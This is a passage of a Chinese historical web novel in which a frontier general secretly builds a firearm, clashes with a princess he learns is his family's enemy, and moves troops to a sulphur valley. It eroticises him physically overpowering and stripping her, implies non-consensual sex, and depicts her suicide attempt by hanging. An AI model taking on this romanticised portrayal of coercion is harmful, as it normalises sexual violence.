叶十三连忙摆手,“郡主误会了,秀儿眼下孤苦伶仃,她把住处让给我们,又忙得出出进进,这些你不是没看见?”
香香郡主听了这话,脸色稍有缓和,但是心里还是有些别扭。
她看着桌上的饭菜,虽然肚子有点饿了,可又不想就这么轻易地妥协。
“吃吧!吃完饭后,你去从两路兵马里面,挑五百善射的年轻兵卒,我要单独训练他们。”
此言一出,香香郡主美眸顿时一亮。
叶十三能把这活交给她去做,可见对她的能力,那是相当认可了的。
没等叶十三再说什么?
香香郡主又抓起筷子,埋头就是一通猛吃。
随着两碗热茶下肚,桌上的饭菜也见了底。
“好了,你说,挑什么样的兵卒出来?”
没等紫伶递上帕子,香香郡主拿手背一抹嘴,催促道:“你要单独训练他们什么?是刀技,马术,还是阵法?”
“都不是。”
叶十三摇摇头,淡淡就是一句。
“那你选五百善射的兵卒何用?”
香香郡主大眼睛一闪,紧追着又是一问。
叶十三抬起头来,紧盯着香香郡主那张美艳动人的脸,缓缓说道:“挑够了兵卒后,让吴六子安排李狗子,让他们带上够吃半月的粮食,在硫磺谷选一处适合扎营的地方驻扎。”
趁着香香郡主吃惊得张大了嘴说不出话的时候,叶十三把目光投向紫伶,又道:“你收拾一些零碎东西,给郡主们带上。”
这下,香香郡主貌似懂了。
“你是说,让本郡主统领一支兵马,先行动身去硫磺谷设伏?”
望着香香郡主兴奋无比的样子,叶十三思忖片刻,改变主意道:“算了,那地方太危险,我还不放心把你留在那里,还是另选他人好了。”
“我能行的,就让本郡主去。”
不管叶十三同不同意,香香郡主已经开始穿起了战甲,催促紫伶也赶快去收拾东西。
“你只管把五百兵卒挑选好了就成,出去的时候再把马成带上,苏哲也行,让他们帮你把关。”
叶十三像是作了一项重大决定,神情严肃得让香香郡主不敢玩笑。
“只是善射就行?”
正在紫伶的帮助下穿着战甲的香香郡主,转过头来又是一问。
“没错!”
叶十三点点头,沉声道:“骑射选拔,命中率高者抽出来。”
“你不去?”
香香郡主有些没底。
“你不会连这点事,都没能力办好吧?”
叶十三眉头一皱,冷声就是一句。
此言一出,香香郡主更是兴奋。
展示自己能力的时候到了,这混蛋一直打心里瞧不起本郡主,这次就让他看看,本郡主挑选人的能力,可强着呢。
让你这混蛋,从门缝里把人都看扁了,当本郡主是来边城游山玩水来了?
“我不带马成和苏哲了,带上何秀儿如何?”
已经披挂停当的香香郡主,不想有人在他身边指手画脚,突然提出带着何秀儿去。
此言一出,叶十三一怔。
这傻白甜,又想逞能了?
生怕马成和苏哲在一旁指点,会显不出她的能耐。
带着何秀儿,也好摆一摆她这个的监军威风。
现眼包!
老子就答应你了!
不过,这事要是办不好?
那就屁股上挨军棍吧!老子扒了你的裤子,亲自抡棍子打。
如此想着,叶十三嘴角拧起一丝笑意。
“好吧,就依你!天黑之前,务必选够五百人来。”
到底是有些见识的,香香郡主并没有急着就走,而是把脸一转,道:“这挑选出来的五百兵卒,算是借用还是?”
还不算太傻,有些监军的样子,叶十三微微颔首,道:“另行造册,脱离原队编制,入本将军近卫列。”
“我就说嘛!”
香香郡主面上一阵得意,撇嘴道:“看你嘚瑟的,这手下一有兵马,就急着给自己组建卫队。”
叶十三闻言,只是笑笑,并没有再回答香香郡主的话。
第190章 老子的这,才是枪
夜深了,去何家大院的人也回来了。
“不错,你俩去吃饭吧!”
叶十三满意地望着四辆装满了粮食的马车,向刘四和王选摆摆手。
“大人……”
刘四眨巴了一下眼睛,想说什么欲言又止。
“说!”
叶十三的目光冷了下来。
刘四打了个寒颤,急忙说道:“老夫人和小姐她们,都好好的,吃的喝的,都不缺。”
“下去吧!”
叶十三摆摆手,表示对这些早已知道一样。
有看守粮仓的田兵们在,娘和妹妹,绝对不会受罪的。
再说,香香郡主的人,都已经离开了那里,也就没有人去欺负她们了。
这一点,叶十三是相当肯定的。
看到刘四和王选退下,叶十三让何秀儿找了吴六子。
“听好了!”
叶十三摆摆手,示意何秀儿退下后,目光看向吴六子,沉声道:“留下几个探马继续侦查元蒙方向的动静,天亮前你亲自带挑选好了的五百兵卒,进驻硫磺谷。”
吴六子点点头,低声道:“大人,是要提前设伏?”
“不!”
叶十三一脸笃定,道:“元蒙再次出兵,定是大规模进犯,不会再是小股兵马骚扰。”
“哪?”
这就让吴六子不懂了。
叶十三摆摆手,道:“你只管去,同时监督好林老幺,他带着几名兵卒已经去挖硫磺矿了,到了地方,安置好这五百兵卒以后,也投入到挖矿中,不几天我会另有安排。”
见叶十三如此神秘,吴六子知道,不该问的,坚决不问。
……
一晃,三天过去。
木匠头儿,已经拿来了图纸上所绘的东西。
“大人,您看看!”
叶十三接过老木匠递上来的物件,翻来覆去看了一会,然后双手端着就像使用弓弩一样瞄着。
“这个托,再截掉一指厚,前边这个凹槽一定要直。”
叶十三放下手来,指指点点又是一会。
木匠头儿刚走,老铁匠又来了。
“大人,您先看看这管子!”
说着,老铁匠把一根铸铁管子,双手递向叶十三。
叶十三拿着铸铁管子,把稍粗的一头对着眼睛,末端朝下,眯起一只眼睛瞅了半天,这才满意地点点头。
“好手艺,内壁光滑,外壳流畅。”
得到夸赞的老铁匠,把手伸入怀里,又掏出一把零碎来。
“大人,这些您也看看,要是不够精细,小的再去打磨。”
说着,老铁匠把一堆零碎放在桌上。
叶十三坐了下来,拿起每一样零碎儿,放在眼前仔细地查看着。
“不错,做工精细,尺寸也精确,即刻起,就这个尺准,昼夜锻造,需要的东西,及时向我讨要。”
叶十三一脸满意,老铁匠这才松了一口气,面带喜色躬身退下。
待老铁匠走后,叶十三又拿起木匠头儿留下的一支木柄,开始把老铁匠拿来的物件儿,一样一样的往木柄上安装。
不大时候,桌上的零碎全部被安装到那支木柄上。
“长矛不叫枪!”
“老子的这,才是枪。”
“你们这些鸟人,知道枪的威力吗?”
叶十三一个人在屋里自言自语,时不时端起那把枪,抵在肩膀窝里在屋里瞄来瞄去。
“一枪在手,万夫莫开!”
“枪声一响,都去死吧!”
“这就是老子的底气,这就是老子跟你们这些王八蛋对话的资格。”
“什么这王那王的?在枪面前,都是王八,都得给老子乖乖趴着。”
叶十三越说越解气,越说越亢奋。
“有病啊你?”
隔壁正屋的香香郡主,冲到叶十三的屋里,一把从叶十三手中夺过那把枪。
“看看,什么呀这是?”
弓弩不像弓弩,拐杖不像拐杖,香香郡主一抡胳膊,把手中的枪就向地上砸去。
“拿来吧你!”
叶十三眼疾手快,一把就握住香香郡主的手腕,直握得香香郡主呲着牙把手指松开。
“混蛋,你弄疼我了。”
使劲甩着自己手腕的香香郡主,抬脚就向叶十三踹了过去。
叶十三身子一侧,另一只手就握住香香郡主的一只脚腕。
“混蛋,快放手!”
脚腕被叶十三抓着,香香郡主一个重心不稳,就向一边倒了过去。
不料,叶十三就像拎小鸡一样,把香香郡主的一条腿给拉成了一字马。
同时,香香郡主脚上的靴子,也掉了下来,露着一只白嫩的光脚。
“呀……”
霎时,香香郡主羞怒上脸,恨不得手里有把刀把叶十三给捅了。
“放手,无赖,下流……”
叶十三一脸坏笑,把那只光脚举在眼前,饶有兴致地看着五个白嫩的脚趾头在眼前一阵伸展又急缩。
被人拉成了一字马,别说是个未出阁的大闺女,就是青楼的窑姐儿,也会羞得无地自容。
“混蛋,不要脸……”
脑袋朝下的香香郡主,两手一阵乱抓,叫骂声都带着哭腔。
“扑通!”
欣赏够了的叶十三,一甩胳膊,就把香香郡主给扔在炕上的铺盖上。
还好,没给扔地上。
“放着军务不干,成天窝在这里捣鼓这些破烂玩意儿,你到底是何居心?”
羞怒不堪的香香郡主,从炕上爬了起来,把一只枕头就向叶十三的脑袋上狠砸过来。
“你眼里还有王法,还有尊长吗?”
香香郡主捞着什么就什么,一股脑儿砸向叶十三,嘴里叫骂个不停。
“行了!”
叶十三也不躲闪,手中的枪左挥右挡,把香香郡主扔过来的东西,全都给拨拉了一地。
“怕死鬼!”
香香郡主跪在炕上,手里又摸着了一把笤帚,指着叶十三又骂道:“调了两万兵马驻守,你就躲这里闭门不出了?”
“告诉你,本郡主可不当缩头乌龟,这就搬去签房大院和将士们在一起。”
香香郡主继续骂着,一张美艳的俏脸,已经被气得煞白。
望着香香郡主剧烈起伏的胸口,叶十三的目光渐渐冰冷起来。
叶十三把手中的枪,缓缓立在墙角,眼睛直直盯着炕上叫骂不停的香香郡主,缓缓走向炕沿。
“站住,你要干什么?”
看到叶十三眼里寒芒闪动,香香郡主赶忙退向炕脚,把手里的笤帚横在胸前,惊叫道:“不要脸,还不快滚出去……”
“这是我的屋子!”
叶十三冷冷一句。
“好,那我走!”
香香郡主一怔,顺势从炕脚边上往下溜,准备夺门而出。
迟了,她低估了叶十三的意图。
就在她和叶十三擦身而过的瞬间,被叶十三拦腰抱起重新扔在炕上。
“啊……”
一声尖叫,伴着“刺啦”一阵似锦裂帛的响声,香香郡主身上的棉袍,已经被叶十三的两只大手撕开成两扇。
棉袍的两片衣襟,就像被踹开的门一样敞开着,一片白花花的肌肤,霎时就暴露在叶十三面前。
第191章 定亲玉佩
“你……”
惊厥之下,香香郡主差点昏死过去。
立在炕沿前的叶十三,缓缓伸出手去。
“不要……”
一阵战栗之下,香香郡主绝望地大叫起来。
就在叶十三的手,即将触摸到她颤巍巍抖动的羞处时,出乎她意料的是,叶十三并没有握住她将来奶孩子的物件,而是抓起她胸前吊着的那只用红绳穿着的玉佩。
“再问你一次,此物从何得来?”
叶十三的声音,冷到了极点。
香香郡主绝望地闭上了眼睛,眼角一串泪珠,随即就滚落了下来。
叶十三牙一咬,抓着玉佩的手腕一翻,把那只玉佩,硬生生就从香香郡主的脖子上给拽了下来。
“啊……”
拴着玉佩的绳子,在香香郡主白皙的脖子上,立刻就勒出了一道醒目的红印。
“问你话呢,这玉佩,你从何得来?”
“不是给你说过了吗?”
香香郡主缓缓睁开眼睛,失神地望着叶十三那张已经变得冷漠无比的脸,颤声说道:“是我娘给我的,从小就佩戴在我身上的。”
叶十三握着拽下来的玉佩,后退了几步,在桌边坐了下来。
在香香郡主愤怒的目光下,叶十三另一只手伸进自己的衣领,缓缓掏出一物。
在香香郡主就像被电击了一样的惊诧下,看到叶十三另一只手里握着的,是和她那只一模一样的玉佩。
两只玉佩被摆放在桌面上,然后又被合在了一起。
蝴蝶,是一只白色的蝴蝶。
玉佩雕式极其简陋,但玉质却是来自西域的极品羊脂玉。
两片玉佩单看像只人耳,按左男右女合起来,却是一只白色的蝴蝶。
整体来看,雕工极其简朴。
香香郡主震惊过后,用手迅速掩住撕掉盘扣的棉衣,幽怨地望着在桌后发呆的叶十三。
“是她,真是她……”
魔怔了一样的叶十三,双眼失神地紧盯着桌上的蝴蝶拼图。
“怎么会是她?”
“郑家,害我叶氏如此境地,怎么会是她?”
“不可能,绝不可能……”
叶十三双手抱住脑袋,痛苦地摇晃个不停。
前世的那处秘密基地,其实就是一个极其隐秘的宗门所在。
家里通过一些内部关系,送他深造的阶段里,他不但学了一套刀法,而且还学到了一个內修的心法。
最近几日的修习,让这哥们的脑伤大有恢复,而且体质也增强不少。
看到叶十三如此抓狂,香香郡主倒是淡定了下来。
“闰儿哥,你真的什么都不记得了?”
闰儿哥?
这傻白甜,叫我“闰儿哥”了?
怎么会?
一个模糊的影子,又在叶十三脑海中浮现出来。
一个八岁的女娃,成天拿着刀剑舞弄。
十岁的少年,双手捧着书卷,摇头晃脑的之乎者也……
突然,书房,荷塘,全都不见了。
取而代之的,是一个二十岁的少年,被突然闯入家中的御林军拖出书房。
此时,院中已经是哭声一片,抄家的兵马个个凶神恶煞。
稍有申辩的家人,就被御林军以“造反”的名义,挥刀当场砍杀。
叶府血流成河,浮尸遍地。
而这一切,都来自太子的蓄意谋反,事情败露后,太子的太师叶铎由此深受牵连……
皇子夺嫡的残酷性,这把火被烧到了叶家。
面临肃清太子一党时,太子太师叶铎一根绳子含恨自尽,一家老小由此被贬奴籍,流放充军至北漠边城。
为了登上那至高无上的皇位,皇子们之间不惜使用各种手段,钩心斗角、尔虞我诈。他们暗中窥探着对方的一举一动,寻找着对方的弱点和破绽,然后狠狠地置对方于死地。
太子与皇后自尽,淑妃李氏上位,李氏所生的二皇子顺应继承太子位。
夺嫡之战,不仅考验着皇子们的智谋和勇气,更考验着他们的人性。
在权力的面前,亲情变得微不足道,兄弟之间的争斗变得毫无底线。
曾经亲密无间的兄弟,如今却成了生死仇敌,彼此之间充满了仇恨和杀意。
最终,只有一个皇子能够登上皇位,而其他的对手,却被背上了“蓄意谋反,弑君篡位”的千古恶名。
而今,二皇子被立为新太子。
而淑妃李娘娘,顺应被立为后。
之前的太子少傅,正二品官员,也是新太子的亲表舅郑岳嵩,在一干势力的运作下,被大夏皇帝赐封为肃王。
一品大员太子太师叶铎,与二品官员太子少傅郑岳嵩,这两个同僚加至交,由于郑岳嵩揭露太子谋反一案而决裂。
强忍着欲裂的脑袋,记忆的碎片终于被拼凑起来。
叶十三缓缓抬起头来,一双眼睛已是通红无比。
心中的杀机,在记忆的基本恢复中,片刻间就爆发出来。
“我叶家的今天,都是拜你父亲所赐!”
“太子一案……”
香香郡主失神地望向叶十三,诺诺说道:“圣裁所至,无人能改变这个事实。”
“去他娘的圣裁!”
叶十三瞬间暴怒,咬着牙又道:“圣上病重不假,太子继位也是时日可待,如此现实面前,作为储君的太子,有必要给圣上的参汤中下毒?”
迎着叶十三眼中的杀气,香香郡主镇定地穿好棉衣。
“证据确凿,太子他自己都无言以对,是他心急,等不得圣上殡天之时……”
“一派胡言!”
叶十三上前两步,立在炕前,怒道:“太子生性懦弱,但不失是个孝道之人,为何如此心急要谋害他的父皇?”
“倒是你郑家,拿出了太子谋逆的罪证,盛怒之下太子无言以对,只有以死来证明自己的清白,我的父亲,也由此被牵连自尽……”
叶十三字字如刀,句句杀气腾腾。
“倒是你郑家,揭发有功,居然被封异性王爷,我叶家上下三十多条人命,何处去申冤?”
“说太子谋反,你信吗?”
叶十三的眼里,似要喷出火来。
香香郡主绝望地闭上眼睛,淡淡说道:“既然闰儿哥哥如此认定,那么香妹妹也无话可说,要杀,要剐,只要能解闰儿哥哥心头之恨,那就随哥哥便吧!”
说着,香香郡主紧闭着的眼角,骨碌碌滚下来两串泪珠。
她伸手整理了一下被叶十三方才撕扯的不像样子的棉袄,淡淡又道:“你的刀很快,别让我感觉出疼痛,求你别毁我的脸。”
第192章 郡主上吊
“不要……”
就在叶十三把手,伸向腰间刀柄的时候,紫伶疯了一样闯了进来。
“求您了,叶将军,要杀就杀奴婢好了!”
紫伶冲到炕沿前,伸出双臂面向叶十三,哭喊道:“将军可知道?自郡主奉了父命要来边城监军时,暗中托人查找您的下落,来边城的路上,郡主走了一路,偷偷哭了一路。”
“还有,郡主免了将军您堂兄叶腊八烽燧兵军职,罚他去何家大院看守粮仓,为的就是让叶腊八好好照顾老夫人和彩儿妹妹。”
“叶腊八临走前,郡主让奴婢偷偷给他一千两银票,为的就是老夫人和彩儿过得好一点。”
“这些,郡主严令奴婢说出去,就是将军您,也不让知晓此事。”
“至于朝中变故,奴婢是不懂,但奴婢知道,郡主是为何留在这一线防区。”
望着声泪俱下的紫伶,叶十三的头,又是一阵爆裂般的疼痛,眼前一黑,就什么都不知道了。
……
不知过了多少时候。
铁匠铺后院,陷入一片可怕的寂静。
叶十三缓缓睁开眼睛,发现自己已经躺在炕上。
一种奇怪的感觉,促使他掀开被子。
就在叶十三目光触到被子里一块白绢的时候,犹如被雷击中了一样。
直觉让他抖开了炕上的白绢,点点血迹殷红刺眼,就像雪地上盛开的一支梅花。
一种经验,让他霎时觉得方才发生过什么?
突然,一种奇怪的响动,从隔壁正屋传来。
叶十三瞬间一紧松着的裤腰,狸猫一样就蹿下了炕冲向隔壁正屋。
在一推之下,这才发现屋门从里面被顶死。
一种不详的预感,立即袭上叶十三的脑子。
“啪!”
木门应声而碎,比当初烽火台通道的门还要脆弱多了。
在叶十三一脚跨入正屋的时候,首先映入眼帘的,是一个吊在房梁上,就像一捆稻草在风中摇摆个不停的人。
“香逸!”
随着香香郡主的名字,被从叶十三口中喊出的时候,叶十三腰间的刀,已经出鞘斩向拴在房梁上的一根丝带。
“香逸……”
随着叶十三撕心裂肺的一声喊,香香郡主软踏踏的身子,从被斩断的丝带扣上,掉了下来落入叶十三伸开的双臂。
“来人!”
抱着香香的尚有余温的身子,叶十三失控地喊叫起来。
无人应答,整个后院,依旧是死寂一片。
心肺复苏?
突然,一个念头在叶十三脑海中闪现出来。
前世现代急救法之一的心肺复苏术,只有这个办法了?
顾不得许多的叶十三,把香香郡主横放在正屋的炕上,然后解开香香郡主身上穿戴整齐的大红色绣裙,迫不及待地就在香香郡主高耸的胸脯上按压起来。
叶十三按压几下,又附下头去,对着香香郡主红艳的双唇,使劲地往嘴里吹气。
按压,吹气。
再按压,再吹气……
“咔咔!”
不知道同一个动作被重复了多少次?
双目紧闭的香香郡主,突然咳嗽了起来。
“香逸……”
叶十三顾不得擦拭额头细密的汗珠,急切地伏在香香郡主的身上又是一声叫喊。
只见香香郡主紧闭着眸子,但长长的睫毛却闪动了几下,随即,两颗泪珠,就从香香郡主的眼角滚落了下来。
“呜呜……呜呜……”
也就这这个时候,叶十的身后,传来一阵奇怪的声音。
猛然回头一看,门背后的墙角,被捆绑成一团的紫伶,惊恐地望着叶十三,使劲地摇晃着嘴里被塞了布团的脑袋,喉咙里不断地“呜呜”着。
“说,到底发生了何等事情?”
心中已经明白了个大概的叶十三,一把拽掉了紫伶口中被塞进去的布团,吼道:“敢隐瞒一个字,老子杀光这院里所有的活口。”
呼哧呼哧喘了两口粗气的紫伶,跪着向前挪动了两步,急切地望着炕上躺着的香香郡主,这才哭道:“郡主把奴婢捆绑起来,目的就是不让奴婢干扰她,她把女儿家最为宝贵的,给了她的未婚夫……”
“蠢货,愚蠢至极!”
叶十三怒骂一句,拿过一旁的刀,一甩手就划断了紫伶身上的绳子。
“将军,您别走……”
紫伶跪在地上,把身上的断绳抖掉,冲着叶十三的背影又哭喊道:“要是郡主再寻短见,这叫奴婢如何是好啊!”
“要死,就让她去死!”
已经出了正屋的叶十三,从院子里丢下一句,转眼就出了后院的门。
走出后院外的巷道,叶十三抬起头来,张大了嘴狠狠出了一口长气。
待回过神来的时候,这才发现,镇里来的两名壮妇,还有王选和刘四,正在豆腐房的院子里忙出忙进。
看到叶十三过来,王选哈着腰说道:“启禀叶将军,伤兵们的伤势好多了,小的们这才换药完毕。”
“是谁指派你们上这边帮忙?”
叶十三阴沉着脸,冷声就是一问。
“回将军话!”
手中还拿着一团白布条的一名壮妇,应声答道:“先前郡主让奴婢二人,去签房大院找他俩过来到这边照顾伤兵,还说后院有紫伶,暂时不需要奴婢们伺候……”
“哼!”
叶十三鼻孔冷哼一声,随口就道:“如此也好,你们,就听郡主的安排好了,暂且住这边,和韩家嫂子一起照顾好伤兵,本将军事后有赏。”
“奴婢遵命!”
“小的们知道了。”
镇里来的四人,赶忙应答。
叶十三目光一转,向王选说道:“你和刘四,还是去签房大院,这边若是有何需求,自会找你们去办。”
吩咐完一切,叶十三信步走到铁匠铺前面的路口。
何秀儿一只手按在腰间的佩刀上,和几个卫兵来回走动执勤。
不远处,通向签房大路口,又是苏哲带着五十名卫兵,照常在来回巡逻。
“将军,您有事?”
看到了叶十三的何秀儿,先是一怔,然后就奔了过来,道:“这几天看到将军闭门忙碌,小的不敢打搅,将军出来不知有何吩咐?”
叶十三望着何秀儿冻得通红的脸,心头一阵难过,低声道:“要是冷了,就穿厚点。”
“谢将军关怀,小的不冷。”
何秀儿极力做出一副铿锵的样子,挺了挺微微有些凸起的胸部。
“行了!”
叶十三瞥了一眼马成手下的卫兵们,然后收回视线,低声又道:“交班后,给马成说,明天起,你就留在我身边不再执勤。”
“小的遵命!”
何秀儿耳根一红,嘴唇蠕动了一下,却再没说出话来。
凭直觉,她感觉到叶十三此时,心中在极力掩饰着什么?
第193章 三十六计,走为上策
好像是刻意躲避着什么?
天色将晚,巡查完岘口的叶十三,这才独自回到后院。
“将军,饭食好了。”
何秀儿低着头,在屋门口立着。
叶十三目光一瞥正屋,低声道:“那边的,吃了没?”
“回将军话,郡主不让小的们打搅,说要静静。”
“哦!”
叶十三面颊一抽,低头进了屋子。
这一脚跨入屋子后,才发现,紫伶也在桌旁站着。
“将军回来了,奴婢给将军盛饭,饭菜还热着的。”
紫伶低着头,不敢看叶十三一眼,而且声音小得就像蚊蚋。
“你不在那边候着?”
叶十三眉头一皱,怒意就腾升起来。
“将军息怒!”
紫伶浑身一抖,当即就跪了下来,抽泣道:“郡主有令,命奴婢务必把将军侍奉好了。”
这话,只有叶十三懂。
侍奉?
不光是端饭烧茶,还有侍寝的意思在里面。
“本将军不需要谁来侍奉,你还是把郡主侍奉好了,才是你的本分。”
“还有!”
叶十三目光一瞥何秀儿,缓缓又道:“你也留在郡主身边,顺便做饭什么的。”
“那将军您?”
何秀儿面上一红,眼神尽是急切。
“我,你就不用管了。”
叶十三摆摆手,摇头道:“眼下各种事情齐头并进,还是把隔壁那位照看好了。”
尽管何秀儿有些不太情愿,但叶十三的意志,她不敢有半点违抗。
但凭着一个女人特有的敏感,她察觉到,叶十三和这个郡主之间,有着一种她们这些外人不知道的别扭。
当她把目光,不经意地从炕上扫过的时候。
一条白绢上刺眼的斑斑血迹,让她心头猛然一颤。
那一抹残红,绝对不是任何颜料。
再说,她的家里,也没有颜料存放。
就她所知,住在这后院里的人,更没见谁受伤流血需要包扎。
女人特有的敏感,让她在瞬间知道,那些殷红的血迹来自何处?
何秀儿子耸耸鼻子,似乎从屋子里嗅出那种特殊的味道,但除了一丝淡淡的香气之外,并没发现任何的怪味。
那香气,只有香香郡主身上才有,一种来自印度的名贵香料才有的味道。
“小的,愿跟随将军,不想呆在这里。”
一向温顺的何秀儿,突然间就倔强起来。
在这一瞬间,她反感起这个院子,对这个她付出了两月心血打扫收拾的家,霎时就产生出一股深深的厌恶。
“牵马坠蹬,小的愿意跟随将军身边。”
何秀儿又是一句。
“你这是何苦?”
叶十三一阵头大,心里随即就是一乱。
扑通!
何秀儿直接跪了下来,仰起头来望着叶十三,幽幽说道:“如果将军觉得小的多余,那么小的去大灶上给驻军做饭,也不愿闷在这里让自己疯掉。”
此言一出,叶十三心头一凛。
草!
这婆娘,绝对是嗅出什么味了?
女人,在这方面,那可是有着天生的敏感。
别添乱了,老子这阵子,头已经够大的了。
三十六计,走为上计!
眼不见心不烦,先离开这个院子,实在是无法和仇家的女儿在同一个屋檐下,何况还要在同一口锅里吃饭。
“去吧!”
叶十三摆摆手,向何秀儿道:“传马成过来。”
“遵命!”
有了跑腿的活,何秀儿从地上起来,麻利地离开了后院。
何秀儿走后,叶十三目光看向一旁候着的紫伶,缓缓说道:“你,退下吧!”
不一刻,马成到了。
叶十三边吃饭边说,饭后,把铁匠铺和木匠那边完工的活件,全部捆扎好了套上麻袋,战马提前喂了,打好驮子趁月色出发。
“大人,这是要去哪里?”
“照我说的去做,铁匠铺和木匠已经完工的活件,严格登记数量,残次品就地销毁。”
“小的明白。”马成应声,立即去办。
草草吃完饭后,叶十三把屋里的一些零碎,全部收拾在一只藤编箱子里。
目光突然瞥到炕上的那条白绢,叶十三的心,陡然又抖了一下。
一股无比复杂的心情,又让他懊恼不已。
哗啦啦!
那条“雪地梅开”的白绢,被叶十三拿在手里端详一阵,然后一咬呀,白绢在火盆上腾起一片火焰。
“将军,这是要行军何处?”
何秀儿突然出现在门口,一脸不自在地望向叶十三。
叶十三一瞥炕上,沉声又道:“打好铺盖,带上常用物品,半个时辰后开拔。”
没说目的地?
但开拔的事,却是千真万确不会有假。
“嗯!”
何秀儿点点头,顺从地爬上了炕,然后把一条狼皮褥子,还有一条被子,一起卷起来捆扎结实。
在收拾一些零碎的时候,何秀儿有意无意地,目光搜寻着那条令她心里不适的白绢。
可是目光扫遍了整个炕炕角,也没有发现那片刺眼的残红出现。
“这样,如何?”
何秀儿下了炕,指着被收拾好了的东西。
“嗯!”
叶十三点点头,道:“越少越好,尽量不要累赘了自己,能凑合着用的,必须带上。”
见叶十三如此,何秀儿的第一反应,那就是回烽火台的营房。
如果是去何家大院,这些东西不一定能用得上。
“他,是在躲避那个郡主?”
第二个反应,何秀儿觉得叶十三这么急离开这里,肯定是回营房去住,其目的就是躲开香香郡主。
如此一想,何秀儿莫名的一阵欢愉袭上大脑。
“将军,这东西小的先拿出去吧?”
说着,何秀儿已经提着包裹,准备把整理好了的东西拿到马成那边。
叶十三点点头,道:“也好,趁早搭好驮子,仔细检查几遍,免得到时候丢三落四。”
何秀儿出门后,叶十三把屋里的纸张,又仔细翻看了一遍。
除了一些有用的图纸外,其它被描画得不成样子的,还有揉成团扔在地上的,全部归拢起来,放进火盆里烧了个干净。
君不密,则失臣。
臣不密,则失身。
几事不密则成害!
当下,切不敢轻心大意,该保密的,万不敢有半点疏漏。
如此想着,叶十三把火盆端到屋外的檐下,轻掩上屋门,幽灵一样就从夜色笼罩着的后院消失不见。
第194章 硫磺谷
不用火把,月色够亮。
一十二人,除了叶十三和何秀儿二人,骑马行走以外。
剩下的十名新卒卫兵,都牵马而行。
签房的将领们,都知道叶十三离开了屯田村。
却没有人知道他究竟去了哪里?
“大人,到野驴滩地界了!”
马成赶了上来,指着月光下一道黑色的山崖。
“没错!”
叶十三点点头,沉声道:“抓紧时间,务必在子夜到达地方。”
“大人,这是?”
马成揣测着目的地的方向,但又不敢明着问。
叶十三向四处张望片刻,指着雪地上,一条已经被踩踏出来的脚印说道:“跟着脚印走,别问那么多。”
说完,叶十三依旧在前面带路,牵着马的卫兵们,纷纷紧跟了上来。
又是半个时辰过去,顺着山崖脚赶路的人马,终于进了一条乱石遍布的峡谷入口。
硫磺谷?
一个念头,在马成脑海中一闪,这是要进入硫磺谷?
那条足有十几里长的山崖,是野驴滩和元蒙的分界线。
这条道峡谷,也是野驴滩能够进入元蒙地界的通道之一。
就是平时,牧民都不走的地方,平常人更不走这条道了。
硫磺谷果然难走。
狭窄的峡谷,到处都是乱石当道。
弯曲又高低不平的峡谷,还真不好走。
“注意脚下,把马牵稳了。”
叶十三不断提醒着后面的卫兵,行走一段路后,自己也下马步行起来。
“秀儿,下马。”
叶十三一搭手,就把何秀儿拦腰抱下了马背。
“火把点起来,注意驮物,不能丢了任何东西。”
峡谷里的光线,渐渐暗了下来,时不时有卫兵被脚下的乱石绊倒。
好在战马的腿比较长,驮着不少的东西,走起来反而比人走得稳当。
十支松明哔哔叭叭地被点了起来,行路是没什么大碍了,但空气中隐约透着一股呛鼻的味道。
卫兵们以为,这是松明燃烧时发出的难闻气味。
只有叶十三知道,离目的地不远了。
不多时,峡谷稍宽了一些。
“站住,来者何人?”
突然,前面黑漆漆的乱石后面,传来一声暴喝。
“仓啷!”
马成已经腰刀出鞘,冲在叶十三前面作出防御准备。
“大人,前面有人?”
卫兵们纷纷就地蹲下,手中已经是腰刀在握。
“不用紧张,是自己人。”
叶十三一点都不惊慌,回头就是一句。
“咔咔!”
叶十三大声假咳两声,即刻就有“喳喳”的喜鹊叫声回应了一下。
“是吴六子这货!”
马成直起身子,手中的刀也垂了下来。
身后的卫兵们,顿时也松了一口气。
“还真是吴甲正。”
“就是他,不然,这么黑的夜,又没有半棵树,哪来的喜鹊叫啊?”
就在这时候,前面黑影里跃出三条人影,片刻间就到了近前。
“大人,真是您来了!”
果真是吴六子,身后还跟着两名探马。
“进展如何?”一打照面,叶十三就问交代给吴六子的事。
“回大人话,一切如常。”
吴六子应答着,同时接过叶十三手中的马缰。
身后的探马也上前来,把何秀儿的马缰接了过去牵着。
片刻后,进入了峡谷中的一条岔道。
岔道外狭内阔,就像一只倒放着的瓮。
难闻又呛鼻的味道小了下来,但眼前出现了几堆的篝火。
有兵卒在篝火间,手按刀柄来回穿梭着巡逻。
一处凹进去的山崖下,也燃着篝火,映着火光可以看到,里面有无数的兵卒,都裹着毛毡在崖下地上睡觉。
“大人,好在今夜小的当值,这才迎得大人到来。”
吴六子献着殷勤,把叶十三一行带到一处背风的地方。
“大人,这边先行歇着,等天亮后,再给大人您腾个好点的地方。”
吴六子指着一处低矮的孔穴又道:“前几天,小的找到这处地方驻扎,这个孔穴背风暖和,就是不通风散烟,也就放弃了安灶的打算。”
“那就住人吧!”
叶十三弯腰,借着火把的光亮,看着只有半间屋子大小的孔穴,又道:“刚好,外面遮拦一下,我就住这算了。”
看到吴六子带人过来,巡逻的几个兵卒也赶了过来,帮忙把马背上驮着的东西,都给卸了下来堆放整齐。
“大人,要是饿了,烤些马肉吃得了。”
吴六子一脸狡黠地笑着。
“哪来的马肉?”
叶十三眉头一皱,偏过头去就是一问。
“是这样……”
吴六子笑着,凑到近前说了一会。
原来,有狼群把元蒙境内的几只牧马,追赶到硫磺谷元蒙方向的出口周围。
碰巧遇到吴六子做前期侦查,射死了三头狼后,把六匹已经伤痕累累的牧马,赶入了硫磺谷,然后宰杀后供他们食用。
“那好,烤上一些,这会还真有些饿了。”
叶十三一撇嘴,就让吴六子去安排。
不大时候,一堆篝火在孔穴外面燃了起来。
孔穴里面铺上了两张柔软的狼皮,何秀儿把带来的铺盖卷扔在狼皮上面,让叶十三当凳子坐了。
一条冻马腿被扛了过来,巡逻的兵卒拿着斧子,片刻间就把一条冻马腿剁成了肉块。
在烤着马肉的同时,吴六子又道:“上次我们劫营的地方,最近有大量的粮草不断集结。”
“粮草集结?”叶十三一惊。
“是!”
吴六子点点头,又道:“前段时间被大人杀死的,就是这个盟部的驸马那木儿,看来,这一战,已经不可避免了。”
此言一出,叶十三立刻陷入沉思。
“大人,马肉好了,您先尝尝!”吴六子接过探马递来的马肉,
举在叶十三面前又道:“看样子,不久会有大量的元蒙军队集结。”
叶十三缓缓抬起头来,眼里寒芒一闪,冷声道:“他们在等总盟部汗王的命令,不过开战?那也是朝夕之间的事了!”
“应该是这样。”
吴六子点点头,表示形势的确如此。
